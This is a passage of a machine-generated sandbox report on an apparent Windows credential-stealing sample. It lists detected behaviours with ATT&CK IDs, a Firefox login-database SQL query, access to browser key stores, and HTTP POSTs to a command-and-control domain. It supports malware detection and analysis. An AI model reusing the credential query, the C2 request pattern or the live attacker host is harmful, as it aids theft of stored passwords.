Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$28","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to encrypt/encode message (API string)","description":"Found reference to API \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-213","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"LsaICryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \"%s\\nss3.dll\" (Indicator: \"\\nss3.dll\"; Source: \"00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp\")\n Found string \"softokn3.dll\" (Indicator: \"softokn3.dll\"; Source: \"00000000-00002664.00000001.68174.02620000.00000004.mdmp, 00000000-00002664.00000002.70094.02620000.00000004.mdmp, 00000000-00002664.00000003.77520.02620000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$29","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Calls an API typically used to performs encryption on the data\n Matched sigs: Calls an API typically to import cryptographic keys into a CSP\n Matched sigs: Calls an API typically used to decrypt data\n Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains reference to crypto DLLs\n Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: Contains ability to encrypt/encode message (API string)\n Matched sigs: Contains ability to perform decryption (API string)\n Matched sigs: Contains ability to use Cryptographic classes","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Spawned process connects to a network\n Matched sigs: Contacts server\n Matched sigs: Contacts domains\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Found potential URLs in memory dumps","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\".exe\" called \"IsWow64Process\" with parameter \"2664\" - (UID: 00000000-00002664)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\".exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00002664)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2a","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"\".exe\" called \"GetVersionExA\" (UID: 00000000-00002664)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\".exe\" called \"LookupAccountSidW\" with param Name SYwjcIY (UID: 00000000-00002664)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to detect virtual environment (API)","description":"GetTickCount@KERNEL32.DLL at 00000000-00002664-48137-59-0040368E\n GetTickCount@KERNEL32.DLL at 00000000-00002664-48137-223-00407582","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-87","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate files inside a directory","description":"FindFirstFileA@KERNEL32.DLL at 00000000-00002664-48137-62-00403376","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-89","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerates all mounted drives","description":"GetLogicalDriveStringsA@KERNEL32.DLL at 00000000-00002664-48137-63-00403180","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-66","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"WUDFHost.bin\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query local/system time as file time","description":"FileTimeToSystemTime@KERNEL32.DLL at 00000000-00002664-48137-60-00403407\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00002664-48137-223-00407582","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070.006","relevance":1,"id":"stream-71","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00002664-48137-223-00407582","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"Found reference to API \"GetLocaleInfoA\" (Indicator: \"GetLocaleInfo\"; File: \"WUDFHost.bin\")\n Found reference to API \"GetLocaleInfoA\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"GetLocaleInfoA@KERNEL32.DLL at 00000000-00002664-48137-133-0040B0CE","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\".exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; File: \"WUDFHost.bin\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"WUDFHost.bin\")\n Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"GetUserObjectInformationA\" (Indicator: \"GetUserObjectInformation\"; File: \"WUDFHost.bin\")\n Found reference to API \"GetUserObjectInformationA\" (Indicator: \"GetUserObjectInformation\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")\n Found reference to API \"RtlNtStatusToDosError\" (Indicator: \"RtlNtStatusToDosError\"; Source: \"00000000-00002664.00000001.68174.00150000.00000040.mdmp, 00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00150000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00150000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"WUDFHost.bin\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; File: \"WUDFHost.bin\")\n Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")\n Found reference to API \"EnumWindows\" (Indicator: \"EnumWindows\"; Source: \"00000000-00002664.00000003.77520.0011D000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"WUDFHost.bin\")\n Found reference to API \"GetStartupInfoA\" (Indicator: \"GetStartupInfo\"; File: \"WUDFHost.bin\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"GetProcessHeap@KERNEL32.DLL at 00000000-00002664-43738-21-00402BAB\n GetProcessHeap@KERNEL32.DLL at 00000000-00002664-43738-18-00402B7C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Environment Awareness","name":"Contains the ability to enumerate volumes (API string)","description":"Found reference to API \"FindFirstVolumeW\" (Indicator: \"FindFirstVolume\"; File: \"WUDFHost.bin\")\n Found reference to API \"FindFirstVolumeW\" (Indicator: \"FindFirstVolume\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1006","relevance":1,"id":"string-194","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\".exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\g4h7miqt.default\\secmod.db\" at 00000000-00002664-0000010C-12423147\n \".exe\" queries volume information of \"C:\\\" at 00000000-00002664-0000010C-12492429\n \".exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\g4h7miqt.default\\cert8.db\" at 00000000-00002664-0000010C-12495093\n \".exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\g4h7miqt.default\\key3.db\" at 00000000-00002664-0000010C-12500420","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\".exe\" queries volume information of \"C:\\\" at 00000000-00002664-0000010C-12492429","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\".exe\" called \"CreateDirectoryW\" with parameter %APPDATA%\\B52C16 (UID: 00000000-00002664)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"china.fengpower.buzz\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"104.21.95.46:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"C:\\nomes-penezebozurede_54-s.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"SELECT encryptedUsername, encryptedPassword, formSubmitURL, hostname FROM moz_logins\" (Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp, Indicator: \"select encryptedusername, encryptedpassword, formsubmiturl, hostname from moz_logins\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; File: \"WUDFHost.bin\")\n Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"Sleep@KERNEL32.DLL at 00000000-00002664-48137-36-004076CC\n Sleep@KERNEL32.DLL at 00000000-00002664-48137-105-00407718\n Sleep@KERNEL32.DLL at 00000000-00002664-48137-52-00407687\n Sleep@KERNEL32.DLL at 00000000-00002664-48137-10-00406B39","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: WUDFHost.bin)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryA@KERNEL32.DLL at 00000000-00002664-48137-60-00403407\n LoadLibraryA@KERNEL32.DLL at 00000000-00002664-48137-13-004094A9","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; File: \"WUDFHost.bin\")\n Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"WUDFHost.bin\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; File: \"WUDFHost.bin\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")\n Found reference to API \"ZwResumeThread\" (Indicator: \"ResumeThread\"; Source: \"00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\6897110B52C166E7F20FBF0B\"\n \"6897110B52C166E7F20FBF0B\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\".exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 76710000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"WUDFHost.bin\" was detected as \"EP:Microsoft Visual C/C++\" and name: \"Compiler\"\n \"WUDFHost.bin\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"WUDFHost.bin\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"WUDFHost.bin\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"WUDFHost.bin\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"WUDFHost.bin\" has an writable section named \".data\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"WUDFHost.bin\" file has an entrypoint instructions - \"call\t0x407582,jmp\t0x404364,mov\tedi, edi,push\tebp,mov\tebp, esp,mov\tecx, dword ptr [ebp + 8],push\tebx,xor\tebx, ebx,push\tesi,push\tedi,cmp\tecx, ebx,je\t0x404503,mov\tedi, dword ptr [ebp + 0xc],cmp\tedi, ebx,ja\t0x40451e,call\t0x40473d,push\t0x16,pop\tesi,mov\tdword ptr [eax], esi,push\tebx,push\tebx,push\tebx,push\tebx,push\tebx,call\t0x404019,add\tesp, 0x14,mov\teax, esi,jmp\t0x40454e,mov\tesi, dword ptr [ebp + 0x10],cmp\tesi, ebx,jne\t0x404529,mov\tbyte ptr [ecx], bl,jmp\t0x404503,mov\tedx, ecx,mov\tal, byte ptr [esi],mov\tbyte ptr [edx], al,inc\tedx,inc\tesi,cmp\tal, bl,je\t0x404538,dec\tedi,jne\t0x40452b,cmp\tedi, ebx,jne\t0x40454c,mov\tbyte ptr [ecx], bl,call\t0x40473d,push\t0x22,\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".data\" is \"0x201df04\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"china.fengpower.buzz\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"General","name":"Tries to GET non-existent files from a webserver","description":"\"POST /_errorpages/china/five/fre.php HTTP/1.0\nUser-Agent: Mozilla/4.08 (Charon; Inferno)\nHost: china.fengpower.buzz\nAccept: */*\nContent-Type: application/octet-stream\nContent-Encoding: binary\nContent-Key: ADD58140\nContent-Length: 192\nConnection: close\"\n \"POST /_errorpages/china/five/fre.php HTTP/1.0\nUser-Agent: Mozilla/4.08 (Charon; Inferno)\nHost: china.fengpower.buzz\nAccept: */*\nContent-Type: application/octet-stream\nContent-Encoding: binary\nContent-Key: ADD58140\nContent-Length: 165\nConnection: close\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-3","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"WUDFHost.bin\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"WUDFHost.bin\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\".exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"e145369d0457f8a2abe4dcd88e412e73_733c94c5-cebb-4f98-a75f-22a797d1d50b\" has type \"data\"- Location: 